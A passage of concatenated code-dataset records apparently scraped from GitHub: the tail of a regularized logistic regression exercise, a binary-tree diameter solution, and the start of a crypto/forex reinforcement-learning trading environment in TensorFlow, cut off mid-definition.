mu.readCSVFile('ex2data2.txt');\ndim = data.shape;\nprint(dim[0]);print(dim[1]);\n# put the data in input and output arrays\n# X keeps input, y is knonw output\nXOrg = data[:,0:2]\ny = data[:,2]\ny = y.reshape(dim[0],1)\nX = np.ones((dim[0],1))\nX = np.append(X,XOrg, axis=1)\n#print(X)\n# Data plotting\n\nXaxis = data[:,0:1]\nYaxis = data[:,1:2]\n#posInd = np.where(y==1)\n#negInd = np.where(y==0)\n\n#mu.printf(\"Xpos =%d, ypos=%d, xneg = %d, y =%d\\n\",len(Xaxis_pos),len(Yaxis_pos),len(Xaxis_neg),len(Yaxis_neg))\nfig = plt.figure(0);\nmu.plotData(X[:,1:3],y);\nplt.xlabel('Microchip Test 1');\nplt.ylabel('Microchip Test 2')\n#plt.scatter(Xaxis[posInd],Yaxis[posInd],marker='^')\n#plt.scatter(Xaxis[negInd],Yaxis[negInd],marker='o',c='r')\n#fig = plt.figure(3);\n#xr = np.arange(-10,10,0.1)\n#plt.plot(xr,sigmoid(xr))\n# =========== Part 1: Regularized Logistic Regression ============\n# In this part, you are given a dataset with data points that are not\n# Slinearly separable. However, you would still like to use logistic\n# regression to classify the data points.\n#\n# To do so, you introduce more features to use -- in particular, you add\n# polynomial features to our data matrix (similar to polynomial\n# regression).\n#\nX = mu.mapFeature(Xaxis, Yaxis);\ndim = np.shape(X)\nmu.printf(\"X dimensions after mapping = [%d,%d]\\n\",dim[0],dim[1]);\n# Initialize fitting parameters\ninitial_theta = np.zeros((1,dim[1]))\ntdim = np.shape(initial_theta);\nprint(tdim);\nmu.printf(\"inital theta dim = [%d ]\\n\", tdim[0]);\n# Set regularization parameter l to 1\nl = 1;\n\n# Compute and display initial cost and gradient for regularized logistic\n# regression\n#[cost, grad] = costFunctionReg(initial_theta, X, y, l);\ncost = mu.computeCostLogisticRegressionLR(initial_theta, X, y, l);\ngrad = mu.GradientDescentLogisticRegressionLR(initial_theta, X, y, l);\n\nprint(cost);\nmu.printf(\"Cost at initial theta (zeros): %.3f\\n\", cost);\nmu.printf(\"Expected cost (approx): 0.693\\n\");\nmu.printf(\"Gradient at initial theta (zeros) - first five values only:\\n\");\nprint(grad.shape)\nmu.printf(\" [%.4f %.4f %.4f %.4f %.4f] \\n\", grad[0],grad[1],grad[2],grad[3],grad[4]);\nmu.printf(\"Expected gradients (approx) - first five values only:\\n\");\nmu.printf(\" [0.0085 0.0188 0.0001 0.0503 0.0115]\\n\");\n\nmu.printf(\"\\nProgram paused. Press enter to continue.\\n\");\n\n# Compute and display cost and gradient\n# with all-ones theta and l = 10\nl=10;\ntest_theta = np.ones((1,dim[1]),dtype=np.float_);\n#[cost, grad] = costFunctionReg(test_theta, X, y, 10);\n\ncost = mu.computeCostLogisticRegressionLR(test_theta, X, y, l);\ngrad = mu.GradientDescentLogisticRegressionLR(test_theta, X, y, l);\n\nmu.printf('\\nCost at test theta (with l = 10): %.3f\\n', cost);\nmu.printf('Expected cost (approx): 3.16\\n');\nmu.printf('Gradient at test theta - first five values only:\\n');\nmu.printf(' [%.4f %.4f %.4f %.4f %.4f \\n', grad[0],grad[1],grad[2],grad[3],grad[4]);\nmu.printf('Expected gradients (approx) - first five values only:\\n');\nmu.printf(' [ 0.3460 0.1614 0.1948 0.2269 0.0922\\n');\n\nmu.printf('\\nProgram paused. Press enter to continue.\\n');\n\n# Set regularization parameter lambda to 1 (you should vary this)\nl = 1;\n# initial_theta = np.zeros((dim[1],1));\n\n#% Optimize\nres = opt.minimize(fun=mu.computeCostLogisticRegressionLR, x0=initial_theta, args = (X, y,l), method='TNC',jac=mu.GradientDescentLogisticRegressionLR)\ntheta= res.x;\n\nplt.figure(1);\nmu.plotDecisionBoundary(theta, X, y);\nplt.xlabel('Microchip Test 1');\nplt.ylabel('Microchip Test 2')\nplt.title('lambda = 1')\n\np = mu.predict(theta, X);\ntmp = np.double(p == y)\nmu.printf(\"l=%d Train Accuracy: %.3f\\n\",l, tmp.mean() * 100);\nmu.printf(\"\\n\");\n\n## ============= Part 3: Regularization and Accuracies Optional =============\n# Optional Exercise:\n# In this part, you will get to try different values of lambda and\n# see how regularization affects the decision coundart\n#\n#% Try the following values of lambda (0, 1, 10, 100).\n#%\n#% How does the decision boundary change when you vary lambda? How does\n#% the training set accuracy vary?\n#%\n\n#% Initialize fitting parameters\n#initial_theta = np.zeros((dim[0],dim[1]);\n\n#% Set regularization parameter lambda to 1 (you should vary this)\nl = 0;\n\n#% Set Options\n#options = optimset('GradObj', 'on', 'MaxIter', 400);\n\n#% Optimize\nres = opt.minimize(fun=mu.computeCostLogisticRegressionLR, x0=initial_theta, args = (X, y,l), method='TNC', jac=mu.GradientDescentLogisticRegressionLR)\ntheta= res.x\n#[theta, J, exit_flag] = ...\n#\tfminunc(@(t)(costFunctionReg(t, X, y, lambda)), initial_theta, options);\nprint(theta.shape)\nprint(X.shape)\nprint(y.shape)\n#% Plot Boundary\nplt.figure(2);\nmu.plotDecisionBoundary(theta, X, y);\nplt.xlabel('Microchip Test 1');\nplt.ylabel('Microchip Test 2')\nplt.title('lambda = 0')\n\n#hold on;\n#title(smu.printf('lambda = %g', l))\n\n# Labels and Legend\n#xlabel('Microchip Test 1')\n#ylabel('Microchip Test 2')\n\n#legend('y = 1', 'y = 0', 'Decision boundary')\n#hold off;\n\n#% Compute accuracy on our training set\np = mu.predict(theta, X);\ntmp = np.double(p == y)\nmu.printf(\"l=%d Train Accuracy: %.3f\\n\",l, tmp.mean() * 100);\nmu.printf(\"\\n\");\n\nl = 100;\nres = opt.minimize(fun=mu.computeCostLogisticRegressionLR, x0=initial_theta, args = (X, y,l), method='TNC',jac=mu.GradientDescentLogisticRegressionLR)\ntheta= res.x\n#[theta, J, exit_flag] = ...\n#\tfminunc(@(t)(costFunctionReg(t, X, y, lambda)), initial_theta, options);\n#\t% Plot Boundary\nplt.figure(3);\nmu.plotDecisionBoundary(theta, X, y);\nplt.xlabel('Microchip Test 1');\nplt.ylabel('Microchip Test 2')\nplt.title('lambda = 100')\n#\thold on;\n#\ttitle(smu.printf('lambda = %g', lambda))\n\n#\t% Labels and Legend\n#\txlabel('Microchip Test 1')\n#\tylabel('Microchip Test 2')\n\n#\tlegend('y = 1', 'y = 0', 'Decision boundary')\n#\thold off;\n\n#\t% Compute accuracy on our training set\np = mu.predict(theta, X);\ntmp = np.double(p == y)\nmu.printf(\"lambda =%d Train Accuracy: %.3f\\n\",l, tmp.mean() * 100);\nmu.printf(\"\\n\");\nplt.show()\n","repo_name":"skd73/study","sub_path":"ml/wk2/asspart2.py","file_name":"asspart2.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36078949221","text":"\"\"\"\nGiven a binary tree, you need to compute the length of the diameter \nof the tree. The diameter of a binary tree is the length of the \nlongest path between any two nodes in a tree. This path may or \nmay not pass through the root.\n\"\"\"\n\n\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def diameterOfBinaryTree(self, root: TreeNode):\n self.diameter = 0\n self.length(root)\n return self.diameter\n\n def length(self, root):\n if root:\n left = self.length(root.left)\n right = self.length(root.right)\n path = left + right\n if path > self.diameter:\n self.diameter = path\n return max(left, right) + 1\n return 0\n\n\nprint(diameterOfBinaryTree([1, 2, 3, 4, 5]))\nprint(diameterOfBinaryTree([1, 2, 3, 4, 5, 6, 7]))\nprint(diameterOfBinaryTree([1]))\nprint(\"The values above should be 3, 4, and 0.\")\n","repo_name":"alvinwang922/Data-Structures-and-Algorithms","sub_path":"Trees/Binary-Tree-Diameter.py","file_name":"Binary-Tree-Diameter.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"17962708616","text":"from __future__ import print_function\r\nimport numpy as np\r\nimport random\r\nimport pandas as pd\r\nimport sklearn\r\nimport sklearn.decomposition\r\nimport sklearn.ensemble\r\nimport sklearn.preprocessing\r\nimport sklearn.cluster\r\nfrom sklearn import *\r\nimport math\r\nimport gc\r\nimport os\r\nimport sys\r\nimport itertools\r\nimport threading\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib.colors\r\nimport tensorflow as tf\r\nimport re\r\nimport time\r\nimport pickle\r\nimport Constants\r\nimport gym\r\nimport copy\r\nimport gc\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn\r\nfrom sklearn.cluster import KMeans\r\nimport numpy as np\r\nfrom scipy.spatial.distance import cdist, pdist\r\n\r\n# Utility Function to return True / False regex matching\r\ndef pattern_match(patt, string):\r\n return re.findall(patt, string) != []\r\n# Utility Function to save objects in memory to a file\r\ndef save_memory(obj, path):\r\n return pickle.dump(obj, open(path, \"wb\"))\r\n# Utility Function to load objects from the harddisk\r\ndef load_memory(path):\r\n return pickle.load(open(path, \"rb\"))\r\n\r\ngc.collect()\r\n\r\ntry:\r\n os.mkdir(Constants.SAVE_PATH)\r\nexcept FileExistsError as e1:\r\n pass\r\nexcept OSError as e2:\r\n print('Failed to create directory {} - Incorrect syntax?'.format(Constants.SAVE_PATH))\r\nexcept:\r\n print('Error occurred - {}.'.format(sys.exc_info()[0]))\r\n\r\n############################ START BLACKJACK CLASS ############################\r\nclass Market(gym.Env):\r\n \r\n \"\"\"Trading Market environment\"\"\"\r\n \r\n def randomIndex(self):\r\n return random.randint(0, len(self.TRAIN)-self.DISCOUNT_STEPS - 10)\r\n \r\n def __init__(self, dataFile = None, COINS_IN = [], COINS_OUT = [], short = False):\r\n \r\n gc.collect()\r\n \r\n self.data = dataFile\r\n self.data = self.data.dropna(axis=0, how='any').reset_index(drop=True)\r\n cut_off_date = int(time.mktime(time.strptime('01/04/2018', \"%d/%m/%Y\"))) * 1000\r\n self.data = self.data[self.data.date > cut_off_date].reset_index(drop=True)\r\n\r\n self.data['reward_USD'] = 0\r\n if COINS_OUT == []:\r\n COINS_OUT = ['USD'] + [x.replace('close_','') for x in self.data.columns if \"close_\" in x]\r\n self.COINS = COINS_OUT\r\n print(\"{} rows & {} columns\".format(len(self.data), len(self.data.columns)))\r\n #--------------------------------------------------------------------------------------\r\n # Manual Options\r\n #--------------------------------------------------------------------------------------\r\n self.COMMISSION = 1e-10 # Commision % as a decimal to use in loss function\r\n self.NORMALIZE = True # Normalize Data\r\n self.ALLOW_SHORTS = True # Allow Shorts or not\r\n self.GAMMA = 0.5 # The discount factor\r\n self.DISCOUNT_STEPS = 5 # Number of periods to look ahead for discounting\r\n self.TRAIN_PERCENT = 0.75 # Percentage of data to use as training\r\n self.MULTS = 1 # How many future rewards to include in output\r\n #--------------------------------------------------------------------------------------\r\n # List of coins data to use as input variables. Set to [] to use all coins\r\n #--------------------------------------------------------------------------------------\r\n self.N_COINS = len(self.COINS)#( len(self.COINS) * 2 - 1 ) if self.ALLOW_SHORTS else len(self.COINS)\r\n #--------------------------------------------------------------------------------------\r\n # Create a list of X column names to use for modelling\r\n #--------------------------------------------------------------------------------------\r\n the_coins = []\r\n if COINS_IN == []:\r\n for c in self.data.columns:\r\n if \"reward_\" in c and c != \"reward_USD\" and not c.endswith(\"_S\") and c.replace(\"reward_\",\"\") not in the_coins:\r\n the_coins.append(c.replace(\"reward_\",\"\"))\r\n else:\r\n for c in self.data.columns:\r\n if \"reward_\" in c and c != \"reward_USD\" and not c.endswith(\"_S\") and c.replace(\"reward_\",\"\") not in the_coins:\r\n the_coin = c.replace(\"reward_\",\"\")\r\n if the_coin in COINS_IN:\r\n the_coins.append(the_coin)\r\n \r\n self.COINS_IN = the_coins\r\n \r\n in_cols = []\r\n for c in self.data.columns:\r\n if \"DAY_OF_WEEK\" in c or \"HOUR_OF_DAY\" in c:\r\n in_cols.append(c)\r\n continue\r\n for a in sorted(set(the_coins)):\r\n if \"_\"+a in c:\r\n in_cols.append(c)\r\n \r\n COLS_X = []\r\n for x in in_cols:\r\n if \"reward_\" in x or \"train_\" in x:\r\n continue\r\n COLS_X.append(x)\r\n \r\n #for c in self.data.columns:\r\n # if \"limit\" in c:\r\n # self.data[c.replace(\"limit\",\"reward\")] = self.data[c]\r\n #--------------------------------------------------------------------------------------\r\n # Create a list of Y column names to use for modelling\r\n #--------------------------------------------------------------------------------------\r\n COLS_Y = [] if \"USD\" not in self.COINS and \"USDT\" not in self.COINS else [\"reward_USD\"]\r\n\r\n for c in self.data.columns:\r\n added = False\r\n if 'reward' in c and (c != 'reward_USD' and c not in COLS_Y):\r\n\r\n if COINS_OUT == []:\r\n COLS_Y += [c]\r\n added = True\r\n\r\n else:\r\n for a in sorted(set(self.COINS)):\r\n if c == \"reward_\" + a and c not in COLS_Y:\r\n COLS_Y += [c]\r\n print(\"added reward:\", c)\r\n added = True\r\n if added:\r\n #self.data[c+\"_S\"] = self.data[c].apply(lambda x : math.log10(2-10**x))\r\n self.data[c+\"_S\"] = self.data[c].apply(lambda x : -x)\r\n \r\n if self.ALLOW_SHORTS:\r\n COLS_Y += [\"{}_S\".format(y) for y in COLS_Y if y != \"reward_USD\"]\r\n \r\n current_ys = copy.deepcopy(COLS_Y)\r\n for ahead in range(1, self.MULTS):\r\n for y in current_ys:\r\n c = y + \"_\" + str(ahead + 1)\r\n self.data[c] = self.data[y].shift(-ahead)\r\n COLS_Y.append(c)\r\n \r\n self.N_CRYPTO = len([1 for y in COLS_Y if y != \"reward_USD\" and not y.endswith(\"_S\")])\r\n \r\n PORT_W = [w.replace(\"reward_\", \"MARGIN_\") for w in COLS_Y]\r\n for p in PORT_W:\r\n self.data[p] = 0\r\n\r\n self.data[\"MARGIN_USD\"] = 1\r\n if self.COMMISSION != 0:\r\n COLS_X += PORT_W\r\n \r\n # Hard-code in spread\r\n for x in COLS_Y:\r\n if x in (\"train_USD\", \"reward_USD\"):\r\n continue\r\n self.data[x] = self.data[x].apply(lambda x : x + math.log10(1-0.0/4000))\r\n \r\n COLS_Y_TRAIN = [x.replace(\"reward_\",\"train_\") for x in COLS_Y]\r\n print(COLS_Y)\r\n print(COLS_Y_TRAIN)\r\n \r\n for y_pos in range(len(COLS_Y_TRAIN)):\r\n \r\n train_col = COLS_Y_TRAIN[y_pos]\r\n orig_col = COLS_Y[y_pos]\r\n stmt = \"self.data['{}'] = self.data['{}']\".format(train_col, orig_col)\r\n for ahead in range(1,self.DISCOUNT_STEPS+1):\r\n stmt += \"+(self.GAMMA**{}) * self.data['{}'].shift({})\".format(ahead, orig_col, -ahead)\r\n #for ahead in range(1,self.DISCOUNT_STEPS+1):\r\n # stmt += \"+((0.25*self.GAMMA)**{}) * self.data['{}'].shift({})\".format(ahead, orig_col, ahead)\r\n #stmt += \"+ math.log10(1 - 0.0001)\"\r\n print(\"Calculating Discount Rewards...\", end=\"\")\r\n exec(stmt)\r\n \r\n self.COLS_Y_TRAIN = COLS_Y_TRAIN\r\n self.data = self.data.dropna(axis=0, how='any').reset_index(drop=True)\r\n \r\n #for c in COLS_Y:\r\n # if \"USD\" in c:\r\n # continue\r\n # self.data[c] = self.data[c] + math.log10(1 - self.COMMISSION)\r\n\r\n #self.data = self.data.dropna(axis=0, how='any').reset_index(drop=True)\r\n #--------------------------------------------------------------------------------------\r\n # Split Train/Test\r\n #--------------------------------------------------------------------------------------\r\n train_idx = int( self.TRAIN_PERCENT * len(self.data) )\r\n #--------------------------------------------------------------------------------------\r\n # Normalizing the X columns. Scale using training data only\r\n #--------------------------------------------------------------------------------------\r\n self.SCALE_DICT = {}\r\n if self.NORMALIZE:\r\n '''print(\"Normalizing Data...\", end=\"\")\r\n scaler = sklearn.preprocessing.StandardScaler()\r\n print(\"Fitting Scaler: {}\".format(len(COLS_X)))\r\n scaler.fit( self.data[:train_idx][COLS_X] )\r\n print(\"Using Scaler: {}\".format(len(COLS_X)))\r\n self.data[COLS_X] = scaler.transform(self.data[COLS_X])\r\n self.SAVE_SCALER = scaler\r\n self.SAVE_SCALER_COLS = COLS_X'''\r\n \r\n #def scale_col(dat, x, mu, sd):\r\n # dat[x] = dat[x].apply(lambda x : (x-mu)/sd)\r\n # print(\"Scaled {}\".format(x))\r\n \r\n #norm_threads = []\r\n \r\n descriptions = self.data[:train_idx].describe()\r\n \r\n for i, x in enumerate(COLS_X):\r\n if \"MARGIN\" in x or 'date' in x or \"close_\" in x or \"open_\" in x or \"low_\" in x or \"high_\" in x:\r\n continue\r\n \r\n mu, sd = descriptions[x]['mean'], descriptions[x]['std']\r\n \r\n print(\"Normalizing {} - {} / {} {:.5f}, {:.5f}\".format(x, (i+1), len(COLS_X), mu, sd))\r\n self.SCALE_DICT[x] = (mu, sd)\r\n self.data[x] = self.data[x].apply(lambda x : (x-mu)/sd)\r\n #thr = threading.Thread(target=scale_col, args=(self.data, x, mu, sd))\r\n #norm_threads.append(thr)\r\n #norm_threads[-1].start()\r\n \r\n #for thr in norm_threads:\r\n # thr.join()\r\n \r\n print(\"Done\")\r\n \r\n self.TRAIN = self.data[:train_idx].reset_index(drop=True)\r\n #self.TEST = self.TRAIN\r\n self.TEST = self.data[train_idx:].reset_index(drop=True)\r\n \r\n \r\n fee_rate = 0.002/100\r\n self.TRAIN_HOLD = copy.deepcopy(self.TRAIN)\r\n self.TRAIN_HOLD[PORT_W] = 0 # Set all holdings to 0\r\n self.TRAIN_HOLD[PORT_W[0]] = 1 # Set first holding to 1\r\n self.TRAIN_HOLD[COLS_Y_TRAIN] += 2 * math.log10(1 - fee_rate) # Add transaction cost to all rewards\r\n self.TRAIN_HOLD[COLS_Y_TRAIN[0]] -= 2 * math.log10(1 - fee_rate) # Remove it from the one we're holding\r\n for i, y in enumerate(COLS_Y):\r\n if i == 0:\r\n continue\r\n new = copy.deepcopy(self.TRAIN)\r\n new[PORT_W] = 0 # Set all holdings to 0\r\n new[PORT_W[i]] = 1 # Set first holding to 1\r\n new[COLS_Y_TRAIN] += 2 * math.log10(1 - fee_rate) # Add transaction cost to all rewards\r\n new[COLS_Y_TRAIN[i]] -= 2 * math.log10(1 - fee_rate) # Remove it from the one we're holding\r\n if COLS_Y[0] == \"reward_USD\":\r\n new[COLS_Y_TRAIN[0]] -= 1 * math.log10(1 - fee_rate) # Remove it from the one we're holding\r\n self.TRAIN_HOLD = self.TRAIN_HOLD.append(new)\r\n \r\n self.TRAIN_HOLD.reset_index(inplace=True)\r\n \r\n self.COLS_X = COLS_X\r\n self.COLS_Y = COLS_Y\r\n self.N_IN = len(COLS_X)\r\n self.N_OUT = len(COLS_Y)\r\n \r\n self.holdings = {}\r\n for i, c in enumerate(sorted(self.COLS_Y)):\r\n self.holdings[c.replace(\"reward_\",\"\")] = 0\r\n self.holdings['USD'] = 1\r\n \r\n self.position = self.randomIndex()\r\n self.ACTIONS = [x.replace(\"reward_\",\"\") for x in self.COLS_Y]\r\n self.PORT_W = PORT_W\r\n \r\n self.N_CRYPTO_IN = len(self.COINS_IN)\r\n \r\n print(\"CRYPTO_IN:\" + str(self.COINS_IN))\r\n \r\n self.PREV_W_COLS = PORT_W\r\n \r\n gc.collect()\r\n \r\n print(\"Market Data Loaded\")\r\n \r\n def save(self):\r\n items = [ (self.SCALE_DICT, \"{}\\\\SCALE_DICT.save\".format(Constants.SAVE_PATH)),\r\n (self.PRICE_TENSOR_COLS, \"{}\\\\PRICE_TENSOR_COLS.save\".format(Constants.SAVE_PATH)),\r\n (self.PRICE_LAGS, \"{}\\\\PRICE_LAGS.save\".format(Constants.SAVE_PATH))]\r\n\r\n for i in items:\r\n try:\r\n save_memory(i[0], i[1])\r\n except:\r\n pass\r\n \r\n def step(self, action):\r\n \r\n rw = 0\r\n \r\n self.COMM_REWARD = math.log10(1 - self.COMMISSION)\r\n \r\n act_loc = M.ACTIONS.index(action)\r\n if self.TRAIN.at[self.position, self.PORT_W[act_loc]] == 1:\r\n rw = 0\r\n elif action in (\"USD\", \"USDT\") or self.TRAIN.at[self.position, \"MARGIN_USD\"] == 1:#\\\r\n #(self.TRAIN.at[self.position, \"MARGIN_USD\"] == 1 and action not in (\"USD\", \"USDT\")):\r\n rw = 1 * self.COMM_REWARD\r\n else:\r\n rw = 2 * self.COMM_REWARD\r\n \r\n rw += self.TRAIN.at[self.position, \"reward_{}\".format(action)]\r\n self.position += 1\r\n \r\n for w in self.PORT_W:\r\n self.TRAIN.set_value(self.position, w, 0)\r\n self.TRAIN.set_value(self.position, self.PORT_W[act_loc], 1)\r\n \r\n if np.isnan(rw):\r\n print(self.position, action, self.holdings)\r\n \r\n return rw\r\n \r\n############################ END MARKET CLASS ############################\r\n\r\nraw_data = pd.read_csv(\"Data/Crypto/5m/ALL_MOD.csv\")\r\n#raw_data = pd.read_csv(\"Data/Forex/15m/ALL_MOD.csv\")\r\n\r\n#M = Market(raw_data,\r\n# COINS_IN = ['BTC', 'EOS', 'ETC', 'ETH', 'IOTA', 'LTC', 'XRP'],\r\n# COINS_OUT = ['BTC', 'EOS', 'ETC', 'ETH', 'IOTA', 'LTC', 'XRP'])\r\n\r\n\r\nfx_pairs_in = ['AUDCAD', 'AUDJPY', 'AUDNZD', 'AUDUSD', 'CADJPY', 'EURAUD', 'EURCAD', 'EURGBP', \r\n 'EURJPY', 'EURNZD', 'EURUSD', 'GBPAUD', 'GBPCAD', 'GBPJPY', 'GBPNZD', 'GBPUSD', \r\n 'NZDCAD', 'NZDJPY', 'NZDUSD', 'USDCAD', 'USDJPY', 'USDOLLAR']\r\n\r\nfx_pairs_out = ['AUDCAD', 'AUDJPY', 'AUDNZD', 'AUDUSD', 'CADJPY', 'EURAUD', 'EURCAD', 'EURGBP', \r\n 'EURJPY', 'EURNZD', 'EURUSD', 'GBPAUD', 'GBPCAD', 'GBPJPY', 'GBPNZD', 'GBPUSD', \r\n 'NZDCAD', 'NZDJPY', 'NZDUSD', 'USDCAD', 'USDJPY']\r\n\r\nfx_pairs = ['USD', 'AUDUSD', 'EURUSD', 'GBPJPY', 'AUDJPY', 'GBPUSD', 'USDJPY', 'EURAUD', 'EURJPY']\r\n\r\nM = Market(raw_data,\r\n COINS_IN = [\"BMXBTCUSD\", \"BFXBTCUSDT\", \"BINBTCUSDT\", \"GDXBTCUSD\", \"BFXXRPUSDT\", \"BINETHUSDT\"],\r\n COINS_OUT = [\"BMXBTCUSD\"])\r\n\r\n\r\n#M = Market(raw_data,\r\n# COINS_IN = [\"AUDJPY\", \"AUDUSD\", \"GBPJPY\", \"GBPUSD\", \"EURUSD\", \"NZDUSD\", \"EURCAD\", \"USDJPY\"],\r\n# COINS_OUT = ['USDJPY'])\r\n\r\nX2 = []\r\nfor x in M.data.columns:\r\n \r\n channel_rank = 1000\r\n lag_rank = 1000\r\n \r\n channel_rank = 0 if \"L_CLOSE\" in x else channel_rank\r\n channel_rank = 1 if \"L_LOW\" in x else channel_rank\r\n channel_rank = 2 if \"L_HIGH\" in x else channel_rank\r\n channel_rank = 3 if \"L_VOLUME\" in x else channel_rank\r\n channel_rank = 4 if \"L_VOLPRICE\" in x else channel_rank\r\n \r\n channel_rank = 5 if \"L2_CLOSE\" in x else channel_rank\r\n channel_rank = 6 if \"L2_LOW\" in x else channel_rank\r\n channel_rank = 7 if \"L2_HIGH\" in x else channel_rank\r\n \r\n channel_rank = 8 if \"L3_CLOSE\" in x else channel_rank\r\n channel_rank = 9 if \"L3_LOW\" in x else channel_rank\r\n channel_rank = 10 if \"L3_HIGH\" in x else channel_rank\r\n \r\n channel_rank = 11 if \"SMACLOSE1\" in x else channel_rank\r\n channel_rank = 12 if \"SMACLOSE2\" in x else channel_rank\r\n channel_rank = 13 if \"SMACLOSE3\" in x else channel_rank\r\n channel_rank = 14 if \"SMACLOSE4\" in x else channel_rank\r\n channel_rank = 15 if \"SMACLOSE5\" in x else channel_rank\r\n \r\n channel_rank = 16 if \"SMALOW1\" in x else channel_rank\r\n channel_rank = 17 if \"SMALOW2\" in x else channel_rank\r\n channel_rank = 18 if \"SMALOW3\" in x else channel_rank\r\n channel_rank = 19 if \"SMALOW4\" in x else channel_rank\r\n channel_rank = 20 if \"SMALOW5\" in x else channel_rank\r\n \r\n channel_rank = 21 if \"SMAHIGH1\" in x else channel_rank\r\n channel_rank = 22 if \"SMAHIGH2\" in x else channel_rank\r\n channel_rank = 23 if \"SMAHIGH3\" in x else channel_rank\r\n channel_rank = 24 if \"SMAHIGH4\" in x else channel_rank\r\n channel_rank = 25 if \"SMAHIGH5\" in x else channel_rank\r\n \r\n channel_rank = 26 if \"RSI1\" in x else channel_rank\r\n channel_rank = 27 if \"RSI2\" in x else channel_rank\r\n channel_rank = 28 if \"RSI3\" in x else channel_rank\r\n channel_rank = 29 if \"RSI4\" in x else channel_rank\r\n channel_rank = 30 if \"RSI5\" in x else channel_rank\r\n \r\n #channel_rank = 29 if \"SUPPORT1\" in x else channel_rank\r\n\r\n #channel_rank = 30 if \"RESIST1\" in x else channel_rank\r\n \r\n channel_rank = 31 if \"LINEAR1\" in x else channel_rank\r\n channel_rank = 32 if \"LINEAR2\" in x else channel_rank\r\n channel_rank = 33 if \"LINEAR3\" in x else channel_rank\r\n\r\n \r\n S_COINS = sorted(M.COINS_IN)\r\n coin_rank = -1\r\n for i, c in enumerate(S_COINS):\r\n if x.endswith(\"_\"+c):\r\n coin_rank = i\r\n break\r\n \r\n try:\r\n lag_rank = int(\"\".join([ch for ch in x[x.index(\"_\"):] if ch in '0123456789']))\r\n lag_rank *= -1\r\n except:\r\n pass\r\n \r\n if coin_rank < 0:\r\n continue\r\n \r\n X2.append( (coin_rank, lag_rank, channel_rank, x) )\r\n \r\nX2.sort(key = lambda x : (x[0], x[1], x[2]))\r\n\r\nPRICE_TENSOR = [(x[-1], x[-2], x[-3]) for x in X2 if 0 <= x[2] < 1000]\r\n\r\ncols = list(M.data.columns)\r\nPRICE_LAGS = len(set([x[2] for x in PRICE_TENSOR]))\r\nPRICE_CHANNELS = len(set([x[1] for x in PRICE_TENSOR]))\r\nPRICE_TENSOR_COLS = [x[0] for x in PRICE_TENSOR]\r\nPRICE_TENSOR_IDX = [cols.index(x) for x in PRICE_TENSOR_COLS]\r\nM.PRICE_LAGS = PRICE_LAGS\r\nM.PRICE_TENSOR_COLS = PRICE_TENSOR_COLS\r\n\r\nMU_SD_TABLE = M.TRAIN[PRICE_TENSOR_COLS].describe()\r\n\r\nUSE_SIGMOID = True\r\nN_COINS = M.N_COINS\r\nN_CRYPTO = M.N_CRYPTO_IN\r\nN_IN = M.N_IN\r\nN_OUT = M.N_OUT\r\nTIMESTEP_DAYS = 86400000 / (M.data.date - M.data.date.shift(1)).describe()['50%']\r\n\r\nwith tf.device(\"/GPU:0\"):\r\n \r\n # PrevW\r\n HOLD_W = tf.placeholder(tf.float32, [None, N_OUT])\r\n HOLD_W = tf.reshape(HOLD_W, [-1, N_OUT])\r\n # Actual Rewards\r\n Y_ = tf.placeholder(tf.float32, [None, N_OUT])\r\n \r\n Q_TARGET = tf.placeholder(tf.float32, [None, N_OUT])\r\n Q_TARGET = tf.reshape(Q_TARGET, [-1, N_OUT])\r\n \r\n keep_p1 = tf.placeholder(tf.float32, name = 'keep1')\r\n keep_p2 = tf.placeholder(tf.float32, name = 'keep2')\r\n keep_p3 = tf.placeholder(tf.float32, name = 'keep3')\r\n \r\n #--------------------------------------------------------------------------------------\r\n # Define Neural Network layers\r\n #--------------------------------------------------------------------------------------\r\n\r\n h_1 = 1\r\n w_1 = 1\r\n CH_OUT_1 = 20\r\n FILTER1 = [h_1, w_1, PRICE_CHANNELS, CH_OUT_1] # Filter 1 x 3 x 3, Input has 4 channels\r\n \r\n h_2 = 1\r\n w_2 = PRICE_LAGS - w_1 + 1\r\n CH_OUT_2 = 50\r\n FILTER2 = [h_2, w_2, CH_OUT_1, CH_OUT_2]\r\n \r\n # Final\r\n h_f = N_CRYPTO\r\n w_f = 1\r\n CH_OUT_f = 100\r\n FILTERf = [h_f, w_f, CH_OUT_2, CH_OUT_f]\r\n \r\n SDEV = 1\r\n BIAS_MULT = 0\r\n \r\n initializer = tf.contrib.layers.xavier_initializer()\r\n initializer_cnn = tf.contrib.layers.xavier_initializer_conv2d()\r\n \r\n X_PRICE_TENSOR = tf.placeholder(tf.float32, [None, len(PRICE_TENSOR_COLS)])\r\n X_PRICE_TENSOR_NN = tf.reshape(X_PRICE_TENSOR, [-1, N_CRYPTO, PRICE_LAGS, PRICE_CHANNELS])\r\n \r\n #X_PRICE_TENSOR_NN_AVG = tf.nn.avg_pool(X_PRICE_TENSOR_NN, [1,1,3,1], [1,1,3,1], 'VALID')\r\n \r\n X_SCALER = tf.Variable(tf.ones([N_CRYPTO, 1, PRICE_CHANNELS]))\r\n X_SCALER2 = tf.Variable(tf.ones([1, PRICE_LAGS, PRICE_CHANNELS]))\r\n \r\n X_PRICE_TENSOR_NN_AVG = X_PRICE_TENSOR_NN\r\n #X_PRICE_TENSOR_NN_AVG = tf.round(4 * X_PRICE_TENSOR_NN) / 4\r\n \r\n X_PRICE_TENSOR_NN_AVG = tf.multiply(X_PRICE_TENSOR_NN_AVG, X_SCALER)\r\n X_PRICE_TENSOR_NN_AVG = tf.multiply(X_PRICE_TENSOR_NN_AVG, X_SCALER2)\r\n \r\n LEAKY_ALPHA = 0.05\r\n \r\n # LAYER 1\r\n CW1 = tf.Variable(tf.random_normal(FILTER1, stddev = SDEV * (1/(h_1*w_1*PRICE_CHANNELS))**0.5 ))\r\n CB1 = tf.Variable(tf.zeros([CH_OUT_1]))\r\n CL1 = tf.nn.leaky_relu(tf.nn.conv2d(X_PRICE_TENSOR_NN_AVG, CW1, [1,1,1,1], padding=\"VALID\") + CB1 * BIAS_MULT, LEAKY_ALPHA)\r\n CL1 = tf.nn.dropout(CL1, 